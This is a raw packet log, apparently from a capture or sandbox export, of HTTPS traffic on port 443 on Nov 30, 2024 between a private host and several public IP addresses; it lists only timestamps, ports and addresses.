Nov 30, 2024 04:12:41.492213964 CET	443	49793	142.250.181.100	192.168.2.6
Nov 30, 2024 04:12:41.540839911 CET	49793	443	192.168.2.6	142.250.181.100
Nov 30, 2024 04:12:41.540853977 CET	443	49793	142.250.181.100	192.168.2.6
Nov 30, 2024 04:12:41.586750031 CET	49793	443	192.168.2.6	142.250.181.100
Nov 30, 2024 04:12:41.700742960 CET	443	49778	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:41.700803995 CET	443	49778	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:41.700872898 CET	49778	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:41.701206923 CET	49778	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:41.701225996 CET	443	49778	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:41.701236963 CET	49778	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:41.701241970 CET	443	49778	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:41.704910040 CET	49801	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:41.704950094 CET	443	49801	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:41.705034018 CET	49801	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:41.705326080 CET	49801	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:41.705338955 CET	443	49801	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.260121107 CET	443	49795	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.260318041 CET	443	49796	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.260724068 CET	49795	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.260763884 CET	443	49795	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.261259079 CET	49795	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.261265993 CET	443	49795	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.261574984 CET	49796	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.261595964 CET	443	49796	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.262023926 CET	49796	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.262029886 CET	443	49796	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.496611118 CET	443	49799	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.497294903 CET	49799	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.497322083 CET	443	49799	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.498018026 CET	49799	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.498023033 CET	443	49799	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.526104927 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.526156902 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.526727915 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.527180910 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.527200937 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.563158035 CET	443	49797	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.563694954 CET	49797	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.563709974 CET	443	49797	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.564192057 CET	49797	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.564197063 CET	443	49797	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.623735905 CET	443	49800	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:42.623806000 CET	49800	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:42.625463009 CET	49800	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:42.625473976 CET	443	49800	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:42.625719070 CET	443	49800	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:42.667300940 CET	49800	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:42.681960106 CET	49800	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:42.695146084 CET	443	49796	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.695229053 CET	443	49796	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.695342064 CET	49796	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.695667982 CET	443	49795	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.695735931 CET	443	49795	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.696229935 CET	49795	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.696990013 CET	49796	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.697016001 CET	443	49796	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.697029114 CET	49796	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.697033882 CET	443	49796	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.698246956 CET	49795	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.698268890 CET	443	49795	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.698327065 CET	49795	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.698333979 CET	443	49795	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.707365036 CET	49804	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.707401991 CET	443	49804	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.707582951 CET	49804	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.708564997 CET	49804	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.708579063 CET	443	49804	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.709745884 CET	49805	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.709777117 CET	443	49805	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.710021019 CET	49805	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.712658882 CET	49805	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.712685108 CET	443	49805	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.723339081 CET	443	49800	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:42.837572098 CET	49806	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.837616920 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.837754965 CET	49806	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.882481098 CET	49806	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.882507086 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.930974007 CET	443	49799	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.931035042 CET	443	49799	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.931123972 CET	49799	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.939177990 CET	49799	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.939177990 CET	49799	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.939201117 CET	443	49799	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.939212084 CET	443	49799	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.954391003 CET	49809	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.954422951 CET	443	49809	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.954534054 CET	49809	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.956793070 CET	49809	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:42.956804991 CET	443	49809	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:42.999432087 CET	49810	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:42.999481916 CET	443	49810	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:42.999599934 CET	49810	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:43.000420094 CET	49810	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:43.000436068 CET	443	49810	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:43.007148981 CET	443	49797	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:43.007215977 CET	443	49797	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:43.007455111 CET	49797	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:43.009732008 CET	49797	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:43.009747982 CET	443	49797	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:43.019290924 CET	49811	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:43.019306898 CET	443	49811	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:43.019452095 CET	49811	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:43.027823925 CET	49811	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:43.027841091 CET	443	49811	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:43.169812918 CET	443	49800	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:43.169897079 CET	443	49800	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:43.170006990 CET	49800	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:43.397752047 CET	49800	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:43.397785902 CET	443	49800	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:43.397806883 CET	49800	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:43.397814035 CET	443	49800	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:43.484081984 CET	49812	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:43.484141111 CET	443	49812	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:43.484215975 CET	49812	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:43.484497070 CET	49812	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:43.484518051 CET	443	49812	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:43.485301971 CET	443	49801	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:43.485750914 CET	49801	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:43.485790968 CET	443	49801	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:43.486247063 CET	49801	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:43.486254930 CET	443	49801	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:43.931297064 CET	443	49801	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:43.931392908 CET	443	49801	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:43.931461096 CET	49801	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:43.931782961 CET	49801	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:43.931807041 CET	443	49801	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:43.931826115 CET	49801	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:43.931832075 CET	443	49801	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:43.936155081 CET	49813	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:43.936192989 CET	443	49813	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:43.936264038 CET	49813	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:43.936470985 CET	49813	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:43.936482906 CET	443	49813	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.315476894 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.315728903 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.315758944 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.316870928 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.316924095 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.319865942 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.319937944 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.320288897 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.320298910 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.366091013 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.487426043 CET	443	49804	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.487997055 CET	49804	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.488024950 CET	443	49804	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.488497972 CET	49804	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.488502979 CET	443	49804	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.495290041 CET	443	49805	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.495814085 CET	49805	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.495837927 CET	443	49805	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.496252060 CET	49805	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.496257067 CET	443	49805	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.667099953 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.667325020 CET	49806	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.667352915 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.668365955 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.668428898 CET	49806	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.669504881 CET	49806	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.669578075 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.669667006 CET	49806	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.669681072 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.724950075 CET	49806	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.800211906 CET	443	49809	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.800817013 CET	49809	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.800832987 CET	443	49809	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.801314116 CET	49809	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.801318884 CET	443	49809	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.809416056 CET	443	49811	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.810081959 CET	49811	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.810106039 CET	443	49811	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.810551882 CET	49811	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.810558081 CET	443	49811	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.816199064 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.816221952 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.816251993 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.816268921 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.816278934 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.816301107 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.816329002 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.816346884 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.816411018 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.931600094 CET	443	49804	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.931667089 CET	443	49804	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.931715012 CET	49804	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.932028055 CET	49804	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.932043076 CET	443	49804	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.932053089 CET	49804	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.932058096 CET	443	49804	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.935075998 CET	49814	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.935116053 CET	443	49814	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.935213089 CET	49814	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.935404062 CET	49814	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.935425997 CET	443	49814	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.939332962 CET	443	49805	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.939390898 CET	443	49805	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.939513922 CET	49805	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.939543962 CET	49805	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.939553976 CET	443	49805	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.939563990 CET	49805	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.939568043 CET	443	49805	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.941786051 CET	49815	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.941807985 CET	443	49815	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:44.942024946 CET	49815	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.942435026 CET	49815	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:44.942445993 CET	443	49815	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.004964113 CET	443	49812	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:45.005028963 CET	49812	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:45.006261110 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.006285906 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.006330967 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.006356001 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.006373882 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.006427050 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.010812998 CET	49812	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:45.010818958 CET	443	49812	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:45.011068106 CET	443	49812	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:45.014889956 CET	49812	443	192.168.2.6	23.32.185.164
Nov 30, 2024 04:12:45.053503990 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.053524971 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.053607941 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.053637981 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.053981066 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.055339098 CET	443	49812	23.32.185.164	192.168.2.6
Nov 30, 2024 04:12:45.158984900 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.159006119 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.159013987 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.159034967 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.159041882 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.159048080 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.159202099 CET	49806	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.159235954 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.159480095 CET	49806	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.180448055 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.180480003 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.180579901 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.180579901 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.180608034 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.180697918 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.213793993 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.213814020 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.213896990 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.213896990 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.213926077 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.214015961 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.234437943 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.234467030 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.234543085 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.234568119 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.235816956 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.254719973 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.254749060 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.254841089 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.254841089 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.254867077 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.255112886 CET	443	49811	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.255141973 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.255197048 CET	443	49811	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.255459070 CET	49811	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.256088018 CET	49811	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.256108046 CET	443	49811	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.256140947 CET	49811	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.256146908 CET	443	49811	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.256980896 CET	443	49809	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.257040977 CET	443	49809	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.257162094 CET	49809	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.257383108 CET	49809	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.257389069 CET	443	49809	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.257416010 CET	49809	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.257420063 CET	443	49809	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.259454966 CET	49818	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.259454966 CET	49817	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.259502888 CET	443	49817	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.259514093 CET	443	49818	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.259588957 CET	49817	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.259589911 CET	49818	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.259943008 CET	49817	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.259958982 CET	443	49817	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.259991884 CET	49818	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.260010004 CET	443	49818	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.352153063 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.352176905 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.352339029 CET	49806	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.352358103 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.352475882 CET	49806	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.389225006 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.389244080 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.389302969 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.389379025 CET	49806	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.389379025 CET	49806	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.389391899 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.391855955 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.391880989 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.391983986 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.391983986 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.392014980 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.392060995 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.406522036 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.406544924 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.406604052 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.406629086 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.406713963 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.416145086 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.416167974 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.416301012 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.416321039 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.416443110 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.427207947 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.427232027 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.427288055 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.427308083 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.427334070 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.427391052 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.435482979 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.435566902 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.435587883 CET	49806	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.436625004 CET	49806	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.436911106 CET	49806	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.436923981 CET	443	49806	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.438272953 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.438292980 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.438354969 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.438374996 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.438395977 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.438431025 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.439824104 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.439879894 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.440056086 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.440603971 CET	49803	443	192.168.2.6	13.107.246.63
Nov 30, 2024 04:12:45.440620899 CET	443	49803	13.107.246.63	192.168.2.6
Nov 30, 2024 04:12:45.479733944 CET	443	49810	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:45.479825020 CET	49810	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:45.481914997 CET	49810	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:45.481925011 CET	443	49810	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:45.482244015 CET	443	49810	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:45.484555960 CET	49810	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:45.484555960 CET	49810	443	192.168.2.6	20.198.118.190
Nov 30, 2024 04:12:45.484574080 CET	443	49810	20.198.118.190	192.168.2.6
Nov 30, 2024 04:12:45.484767914 CET	49810	443	192.168.2.6	20.198.118.190
